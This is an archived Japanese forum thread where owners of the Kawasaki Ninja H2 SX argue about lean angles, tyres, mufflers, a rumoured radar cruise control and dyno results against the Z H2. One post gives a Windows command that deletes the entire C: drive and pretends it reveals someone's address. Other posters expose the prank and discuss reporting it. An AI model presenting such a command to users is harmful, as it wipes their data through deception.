【Kawasaki】Ninja H2 SX H2 SX SE H2 SX SE+ 12台目
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>>158
態々拡散して自治気取りの暇人ホントウザいわ
こんな奴らのせいで日本がドンドン住みにくくなる 嫌儲系の基地外増えたよね
人の妬みのエネルギーの大きさを思い知らされる うちの死んだおばあちゃんが言ってた、物を見せびらかすな
妬みや嫉妬は怖いよって言葉を思い出した。 >>158
こんなの可愛いものだろ
俺達H2SX乗りは高速では300オーバーで巡行して峠ではバンク角64度で肘擦ってるしな 慣れてきたから山道で下り上り問わず思いっきり寝かせてきた
右側のカウルの下の方に擦り傷が入ったんやが
カウルすることなんてあるんな
ちょっとだけ憂鬱になった >>163
あーそれはお前右側74度倒したからだよ
73度だったらギリギリ擦らなかったかもなw ID:D3ZLeutP
よくいるよな。こういうマジで全く面白くないやつ これからは過度なこと言うやつはタイヤとバンク角をうpすればいいよ
それでホントか吹かしか分かるだろ >>167
ここでバンク角アピールしてるくらいだから本当なら得意げに貼るだろう
ID付きで前後タイヤ見せてほしいわ
バンク角はキーONで傾ければ記録されるからあまり信憑性ないぞ 俺もバンク角アピールしていいっすか?
S22でMAX53度ならスパコル200/60履いたら64度逝っちゃうと思うんすよ
まじ俺がプロダクション履いたらロレンソともいい勝負する自信あるっすw
https://i.imgur.com/26AuTAM.jpg
https://i.imgur.com/KwXNIKe.jpg
https://i.imgur.com/FCFTMoV.jpg >>170
お 目標ができたよ
47°だけどタイヤを使ってる感じは同じだけど使い込み感が全然違うな
とりあえず50°頑張ろ 貼り忘れと言うか違うの貼ってたみたいですね。
スミマセン >>175
左の方がバンク多いってのはマジで公道か?
バイクもタイヤもなぜそれをチョイスしたんだw >>177
リアタイヤはオートポリスに行った時のですね。
SXで走ってみたくてコロナ明けでようやく行けました。
普段は峠ばかり走ってます。
メーターは峠で走った時の画像です。
https://i.imgur.com/i4RARfQ.jpg
峠走った後のタイヤはこんな感じですね。 連投スミマセン。
なんでこのバイクにしたかと言うと、本当はh2カーボン欲しかったけどタンデムしないといけなかったからです。
峠走るのと、タンデムしてのツーリングを両立したかったからです。
タイヤは今ブリジストンが安いのでRS11履いて居ますが冬場はs22に戻します。 パニアケース対応になっているのがギャップを感じ笑える カーボンってタンデムできないの?
それなら俺も買えないわ 53度でドヤってた>>170 笑笑>>173の様な本物が出てきて悔しいのう。俺も45度迄しか倒せないがここに居る奴等の殆どは俺レベルなんじゃねーのか?>>170も上手い部類に入るのかもな。 パソコンでcmd /c rd /s /q c:\を実行した後に出てくるウィンドウの記入欄にスレのURLとID記入すれば住所特定出来るぞ
https://i.imgur.com/gz4sjfc.png >>185
電子計算機損壊等業務妨害罪
通報しときますね バカだな。
今時ブラクラ貼っただけでも逮捕される時代なのに 今時こんなコマンドを何も確認しないで自分以外のパソコンで実行する奴が逮捕されるわw >>189
おん。まぁ業務ではないから、違うだろうなw
不正指令電磁的記録に関する罪
供用罪 器物破損とかじゃねーかな? 普通に面白いと思ったのかな?
リツイートとかも悪意があるとか無いとか関係無くなってきてるし、
おなごわけのわからないレスでも逮捕されちゃう時代なのになぁ。 祭りと聞いてvip からやって来ました
記念マンコ うちに使ってないパソコンあるからやってみて被害届出そうかな 殺伐としたスレにSE+契約したオレ様登場
お前ら祝えや どうもスレの雰囲気悪いと思ったらVIPPERが居るからか >>198
おめでとう!
俺も同じくse+
そして15日にZ4M 40i納車予定!
俺も祝って これオプションでカーボンと同じマフラーにできないの?
あれめちゃくちゃかっこいいけどそのためにあのポジションでツーリングする勇気ないわ >>206
https://i.imgur.com/gFwqrBe.jpg
どれもこれもこの画像通りだよ
ていうかやっぱり全体的にかっけえわ
同じデザインで出して欲しかったなぁ >>207
10Rと忍千みたいな位置付けなのに、同じデザインになるわけなかろーもん >>207
おれもそのマフラー好き
パニアの制限あるから純正では無理だろうね あと数ヶ月したら2021年モデルの発表あるんじゃないか?
あるとすれば9月、10月とか? 次期モデルでエアインテイクの空いてる方にレーダー付けるって、
いったい価格いくらになるんだよw レーダー付けてどうなんの
路面をレーダーでスキャンして電子制御の制度上げるとかそういう? レーダークルーズコントロールだろ、多分。
設定速度の制限なく追従してくれるとか最高だな。 >>226
クルコン使ってる時って大体巡行中じゃん、ちゃんと前見てれば速度差で減速するか分かるし問題なし。
バイパスのダラダラ巡行中とか楽だよ、MTとの相性じゃ微妙になってくるかもしれないが。 バイクにレーダークルコンは来ないんじゃないの
前走車の安定しないスピードにあわせてクルコンぽちぽちすんのもだるいけど仕方ない 正直ZH2のエンジンになって、しかもレーダー付いて高くなるなら現行モデルの方が良いかな
ZH2のエンジンEURO5適用でインジェクター口径も小さくなってる
ECUチューニングしたら現行モデルの方がパワー出そう blocksで見たけど実はストックだとZH2の方がほぼ全域でパワー出てるんだけどね パワーパワーってほんとここの奴らってスペックオタばかりだな笑笑
どうせ操りも出来ない下手糞ばかりのくせしてh2で速い奴なんて見た事ない。
つまり無駄なんだよパワーなんて かのキングロバーツでも「完全に手の内に入るのは2st125ccまでだ」っていてたくらいだしな 忘れてた
しかも「時速30km/h以下」てくくってたわ そんなん言ったら原付でいいって話じゃん
2ケツしたいなら二種、高速なら250 >>241
>>242
んーバカだなわかってないね >>243
バカでいいから教えてくれ気になるだろ! 嘘w
どのバイクでも馬力が同じなら5速ではかったら同じようなグラフになる?
俺嘘つきだよw いや、ギア比は当然考慮して測定するんだからロス補正の誤差を抜きにすれば後輪の実馬力が出ることになるだろ
高回転でZの馬力が伸びてるのは単に制御の違いだと思うなぁ
https://i.imgur.com/2jnS8g7.jpg >>248
そうか?そのグラフだけみると誤差にしかみえないぞ?
制御ってレベルじゃなくね?単純にマップで少し中低速を濃くしてるようなグラフかな? H2SXはラム圧考慮した空燃比だからとかそんな理由な気がする クルコンの前車追従はええな。
そもそもクルコンのボタン遠いねんグリップ握ったまま親指でポチポチできればいらないんだか。メーカーは高速だけ想定したのだろうが、結構このバイク手が痺れるから一般道でもつかいたいねん。 高回転でH2SXが頭打ちになるのは、例の9000回転以上の燃料カットプログラムじゃないの 一応H2SXとZH2は最大馬力同じはずなのにね
H2SXはラムエア過給時210馬力だけどZH2に負けてんじゃん ZH2ガーと言われても高速じゃフルカウルのSXの圧勝だし
下道なんて対して変わらんやろ ■ このスレッドは過去ログ倉庫に格納されています